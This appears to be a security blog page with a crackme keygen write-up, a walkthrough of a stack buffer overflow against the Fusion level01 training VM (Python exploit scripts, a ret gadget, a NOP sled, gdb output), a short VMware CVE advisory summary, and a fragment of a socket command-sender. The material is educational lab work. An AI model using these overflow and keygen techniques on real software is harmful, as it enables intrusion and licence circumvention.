 print "[-] Host unreachable: %s" % err
 exit(-1)

print "[+] Connected.\n[+] Sending '%s'" % cmd
print repr(prepCmd(cmd))
d = s1.recv(1024)
s1.close()

How to solve a simple CrackMe

Crackmes: 4N006135 level-2

The “4N006135” by borismilner contains a total of four x86 binaries, each of them with an increasing level of difficulty. Level-0 and Level-1 are pretty straightforward, while Level-2 and Level-3 took me a bit more time and the Intel Software Developer’s Manual at hand.
In this post I’ll focus on (some aspects of) Level-2 and how I built the corresponding keygen in Python.

Let’s jump into it, and start with the following disassembled section in .text:


.text:004013E0                 mov     edi, 40D020h
.text:004013E5                 mov     ecx, 20h
.text:004013EA                 mov     al, 4Fh; 4Fh is the letter "O"
.text:004013EC                 rep stosb

REP executes an instruction (STOS) and decrease the value of ECX until ECX is 0. The value of ECX is 20h so this means 32 times.
STOS(B) copies the value (1 byte) contained in AL to [EDI] and increments/decrements (depending on the Direction Flag) EDI by 1. B can be replaced by W or D to copy the value of 2 or 4 bytes respectively.

In Python this would look something like this:


s = bytearray(chr(0x4f) * 32)

I’m using bytearray instead of string because we’ll need to modify part of this value (strings are immutable in Python).

Skip a few lines of useless code until:


.text:00401401                 rdtsc
.text:00401403                 mov     ebx, eax
.text:00401405                 push    ebx
.text:00401406                 push    40903Dh
.text:0040140B                 call    _printf

From the Intel manual:

The RDPMC (read performance-monitoring counter) and RDTSC (read time-stamp counter) instructions allow application programs to read the processor’s performance-monitoring and time-stamp counters, respectively.

[…]

The RDTSC instruction loads the current count of the time-stamp counter into the EDX:EAX registers.

The instruction is used as a pseudorandom number generator. The EAX part of the result is used as a User ID and stored in EBX for later usage.

Our keygen will ask for this value:


uid = int(raw_input("Enter User ID: "))

Moving on:


.text:00401413                 mov     edi, 40D020h
.text:00401418                 bt      ebx, 0
.text:0040141C                 jnb     short zero_bit_set
.text:0040141E                 mov     byte ptr [edi], 2Ah
.text:00401421 zero_bit_set: 
[...]                          

The value 40D020h came up before, but what is it? By observing all the remaining instructions of the program we can deduct that this is the memory location that will hold the final key (that we have to guess calculate), computed using a custom algorithm and the user ID random value.
A quick recap so far:
EDI – pointer to the memory location where the key is stored. This at the moment contains a string of 32 “O”s
EBX – the random User ID

The BT instruction takes the bit 0 of EBX and stores the result in the Carry Flag (CF). JNB jumps if CF is 0.
We are basically checking if the user ID number is even or not. If the number is odd the first value of the key will be 2Ah (symbol “*”) otherwise remains “O”.

Check if User ID number is even

Let’s add this to our python script:


if ((uid % 2) != 0):
 s[0] = chr(0x2a)

Then the program checks if the number of user ID is bigger than 0B16B00B5h


; zero_bit_set:
.text:00401421                 inc     edi
.text:00401422                 cmp     ebx, 0B16B00B5h
.text:00401428                 ja      short above_b16b00b5h
.text:0040142A                 mov     byte ptr [edi], 2Ah
.text:0040142D above_b16b00b5h:    
[...]             

if not, it changes the second value of the key to “*”

In Python:


if (uid <= 0x0b16b00b5):
 s[1] = chr(0x2a)

Then the Parity Flag (PF) is evaluated. This is, however, done over the value of EDI, which now will be 40D022h (we have performed “inc EDI” twice so far). 404D022h in binary is “10000001101000000100000” and so the PF will always be 0.


; above_b16b00b5h:  
.text:0040142D                 inc     edi
.text:0040142E                 jnp     short no_parity
.text:00401430                 mov     byte ptr [edi], 2Ah
.text:00401433 no_parity:  

the jump won’t be taken and the third value of the key will always be “*”.

Same for the 4th as shown in the next two lines:


; no_parity:
.text:00401433                 inc     edi
.text:00401434                 mov     byte ptr [edi], 2Ah

Let’s implement this in Python:


s[2] = chr(0x2a)
s[3] = chr(0x2a)

and analyse the next instructions:


.text:00401437                 mov     ecx, 1Ch
.text:0040143C get_byte:                               
.text:0040143C                 shr     ebx, 1
.text:0040143E                 mov     edx, 0
.text:00401443                 mov     eax, ebx
.text:00401445                 mov     esi, 1Ah
.text:0040144A                 div     esi
.text:0040144C                 test    ecx, 1
.text:00401452                 jz      short add_97
.text:00401454                 add     edx, 41h
.text:00401457                 mov     [edi], dl
.text:00401459                 inc     edi
.text:0040145A                 loop    get_byte
.text:0040145C                 jmp     short go_on
.text:0040145E add_97:                                
.text:0040145E                 add     edx, 61h
.text:00401461                 mov     [edi], dl
.text:00401463                 inc     edi
.text:00401464                 loop    get_byte
.text:00401466
.text:00401466 go_on:                                  
[...]

This is obviously a loop as we can see from the instruction at address 00401464.
LOOP decreases ECX and jumps to the specified address until ECX is 0. This is done 28 times (ECX is 1Ch).

PS.: remember that our EDI register still points to the third value of our key, since EDI was not increased after the last mov instruction at 00401434

What every cycle in the loop does is:

  • shift right the value of User ID by 1 bit
  • take the remainder of the division between User ID and 1Ah (User ID mod 26)
  • if the value of ECX is even, add 61h to the remainder; else, add 41h to the remainder
  • save the remainder value to EDI (our key, remember?)
  • increase EDI
  • decrease ECX

for x in range(28,0,-1):
 uid = uid >> 1
 z = uid % 26
 if ((x % 2) == 0):
  z += 0x61
 else:
  z += 0x41
 s[31-x] = chr(z) # starts from s[3] 

At the end we’ll have the final key value.
The remaining instructions of the program ask the user to insert the key, and the value entered is compared with the one just computed in memory.

If they are equal… we have found the right key!

Our final python script:


s = bytearray(chr(0x4f)*32)

uid = int(raw_input("Enter User ID: "))

if ((uid % 2) != 0):
 s[0] = chr(0x2a)

if (uid <= 0x0b16b00b5):
 s[1] = chr(0x2a)

s[2] = chr(0x2a)
s[3] = chr(0x2a)

for x in range(28,0,-1):
 uid = uid >> 1
 z = uid % 26
 if ((x % 2) == 0):
  z += 0x61
 else:
  z += 0x41
 s[31-x] = chr(z) # starts from s[3] 
 
print ("Password: %s" % s )
Win

Exploit-Exercises – Fusion Level01

exploit-exercises.com provides a variety of virtual machines, documentation and challenges that can be used to learn about a variety of computer security issues such as privilege escalation, vulnerability analysis, exploit development, debugging, reverse engineering, and general cyber security issues.

In this post I’m going to explain how I solved level01 of Fusion, a pretty simple stack-based buffer overflow vulnerability exercise with the added complexity of ASLR.
The binary is called “level01” and can be found inside the Fusion VM, path “/opt/fusion/bin”. Source code is provided and available here.

fusion@fusion:/opt/fusion/bin$ cat /proc/sys/kernel/randomize_va_space 
2

Most of the security mechanisms to prevent exploitation are disabled in this level 🙂

deimos:fusion claudio$ ~/tools/checksec.sh --file level01
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   level01

The vulnerability can be easily spotted with a quick look at the source code. The function “realpath” in “fix_path” is copying a user-controlled string into a buffer of 128 bytes (without validating the string length).

#include "../common/common.c"    

int fix_path(char *path)
{
  char resolved[128];     <---------- destination buffer
  
  if(realpath(path, resolved) == NULL) return 1;     <---------- path is the user controllable value
  strcpy(path, resolved);
}

char *parse_http_request()
{
  char buffer[1024];
  char *path;
  char *q;

  // printf("[debug] buffer is at 0x%08x :-)\n", buffer); 😀

  if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");

  path = &buffer[4];
  q = strchr(path, ' ');
  if(! q) errx(0, "No protocol version specified");
  *q++ = 0;
  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");

  fix_path(path);

  printf("trying to access %s\n", path);

  return path;
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;

  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);

  parse_http_request(); 
}

There is also an useful hint (from level00, which is identical, but no ASLR):

Storing your shellcode inside of the fix_path ‘resolved’ buffer might be a bad idea due to character restrictions due to realpath(). Instead, there is plenty of room after the HTTP/1.1 that you can use that will be ideal (and much larger).

We’ll keep that in mind.

Now, we know that due to ASLR, stack will be randomised in memory and we can’t “hardcode” stack addresses in the payload. Since PIE is not enabled (thus .text section not randomised) on the binary, the idea is to:

  1. look at registers for pointers to our shellcode
  2. reuse code found inside .text section of the binary to jump to the desired location
  3. execute shellcode

Let’s attach gdb to our process and set the debugger to follow child processes when fork is used.

fusion@fusion:/opt/fusion/bin$ ps aux | grep level01
20001     3005  0.0  0.0   1816   268 ?        Ss   15:18   0:00 /opt/fusion/bin/level01
fusion    3752  0.0  0.1   4184   800 pts/0    S+   16:40   0:00 grep --color=auto level01
fusion@fusion:/opt/fusion/bin$ sudo gdb
password for fusion: 
GNU gdb (Ubuntu/Linaro 7.3-0ubuntu2) 7.3-2011.08 Copyright (C) 2011 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-linux-gnu". For bug reporting instructions, please see: <http://bugs.launchpad.net/gdb-linaro/>. 
(gdb) set follow-fork-mode child 
(gdb) attach 3005 
Attaching to process 3005 Reading symbols from /opt/fusion/bin/level01...done. Reading symbols from /lib/i386-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.13.so...done. done. Loaded symbols for /lib/i386-linux-gnu/libc.so.6 Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done. Loaded symbols for /lib/ld-linux.so.2 0xb78b9424 in __kernel_vsyscall () 
(gdb) c Continuing.

The following script should overwrite EBP and EIP with custom values:

import socket

T = "172.16.165.130"   # IP of Fusion VM
P = 20001    # level01 is listening on port 20001

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((T,P))

EBP = "BBBB"
EIP = "CCCC"
path = 'A' * 135 + EBP + EIP
shellcode = "\xCC" * 500    

req = "GET {} HTTP/1.1 {}".format(path,shellcode)  # remember the hint?

s.send(req)
s.close()

and as expected, in gdb:

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 3796]
0x43434343 in ?? ()

(gdb) i r ebp eip
ebp            0x42424242	0x42424242
eip            0x43434343	0x43434343

The content of the stack:

(gdb) i r esp
esp            0xbfe7e450	0xbfe7e450
(gdb) x/80x $esp-80
0xbfe7e400:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfe7e410:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfe7e420:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfe7e430:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfe7e440:	0x41414141	0x41414141	0x42424242	0x43434343
0xbfe7e450:	0xbfe7e400	0x00000020	0x00000004	0x001761e4
0xbfe7e460:	0x001761e4	0x000027d8	0x20544547	0x41414141
0xbfe7e470:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfe7e480:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfe7e490:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfe7e4a0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfe7e4b0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfe7e4c0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfe7e4d0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfe7e4e0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbfe7e4f0:	0x42414141	0x43424242	0x00434343	0x50545448
0xbfe7e500:	0x312e312f	0xcccccc20	0xcccccccc	0xcccccccc
0xbfe7e510:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0xbfe7e520:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
0xbfe7e530:	0xcccccccc	0xcccccccc	0xcccccccc	0xcccccccc
(gdb) 

Our “path” value is duplicated. The one on the top of the stack (lower addresses) is contained within the “resolved[128]” buffer, while the other in the “buffer[1024]” buffer. Near the memory address 0xbfe7e500 (0xbfe7e505 to be precise), the beginning of our shellcode.

The current value of ESP is 0xbfe7e450 and the value contained at this memory address is 0xbfe7e400 which points somewhere in the middle of our “path” string. Bingo!
We can find the location of a “ret” instruction inside level01 and use it to jump into our controlled string. There is, however, a problem. 0xbfe7e400 is pointing to the “reserved” buffer and we wanted to avoid that (read the hint at the beginning of the article).

A possible solution is to insert a short JMP forward instruction to the second buffer, where it will be taken again (remember that path is duplicated) and move us to our shellcode. The CPU will execute also other instructions on our second buffer, but it won’t be a problem (lots of ‘inc ecx’ which are safe).

Let’s find a ret instruction and adjust the python script (we’ll also insert some nops before the shellcode, since calculations are not precise):

fusion@fusion:/opt/fusion/bin$ objdump -d level01 | grep ret
 80488b9:	c3                   	ret    
 8048bf4:	c3                   	ret    
 8048c22:	c3                   	ret    
 8048c64:	c3                   	ret    
 8048c77:	c3                   	ret    
 8048ca8:	c3                   	ret    
 8048d53:	c3                   	ret    
 8049068:	c3                   	ret    
 8049222:	c3                   	ret    
 804938e:	c3                   	ret    
 8049457:	c3                   	ret       <--- I'll use this, for no particular reason
 8049529:	c3                   	ret    
 804960c:	c3                   	ret    
 804967f:	c3                   	ret    
 80496f2:	c3                   	ret    
 80497e1:	c3                   	ret    
 8049814:	c3                   	ret    
 8049854:	c3                   	ret    
 8049979:	c3                   	ret    
 80499c1:	c3                   	ret    
 8049a30:	c3                   	ret    
 8049a40:	f3 c3                	repz ret 
 8049a45:	c3                   	ret    
 8049a79:	c3                   	ret    
 8049a95:	c3                   	ret

Python:

import socket
import struct

T = "172.16.165.130"
P = 20001

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((T,P))


EBP = "BBBB"
EIP = "CCCC"
path = '/' + 'A'*111 + '\xeb\x70\x90\x90' + 'A' * 20 + EBP + EIP    # eb 0x70  jmp somewhere in the second buffer, then jmp again to our shellcode (path is duplicated in the stack)

shellcode = "\x90"*100 + "\xCC"*500

path = path[:-4] + struct.pack("I",0x8049457)   # replace the value of EIP

req = "GET {} HTTP/1.1 {}".format(path, shellcode)

s.send(req)
s.close()

and run…

Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to process 4487]
0xbfe7e56b in ?? ()

(gdb) x/20i $eip-10
   0xbfe7e561:	nop
   0xbfe7e562:	nop
   0xbfe7e563:	nop
   0xbfe7e564:	nop
   0xbfe7e565:	nop
   0xbfe7e566:	nop
   0xbfe7e567:	nop
   0xbfe7e568:	nop
   0xbfe7e569:	nop
   0xbfe7e56a:	int3   
=> 0xbfe7e56b:	int3   
   0xbfe7e56c:	int3   
   0xbfe7e56d:	int3   
   0xbfe7e56e:	int3   
   0xbfe7e56f:	int3   
   0xbfe7e570:	int3   
   0xbfe7e571:	int3   
   0xbfe7e572:	int3   
   0xbfe7e573:	int3   
   0xbfe7e574:	int3

It worked! We are exactly where we want to be.

VMware Unified Access Gateway and Horizon View (CVE-2017-4907)

There is a heap-based buffer overflow vulnerability which affects VMware Unified Access Gateway (2.5.x, 2.7.x, 2.8.x prior to 2.8.1) and Horizon View (7.x prior to 7.1.0, 6.x prior to 6.2.4). This issue may be exploited remotely to execute code on the security gateway. VMware Unified Access Gateway 2.9 is not affected. This issue has been addressed in VMware Unified Access Gateway 2.8.1, Horizon View 7.1.0 and 6.2.4.

https://www.vmware.com/us/security/advisories/VMSA-2017-0008.html

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-4907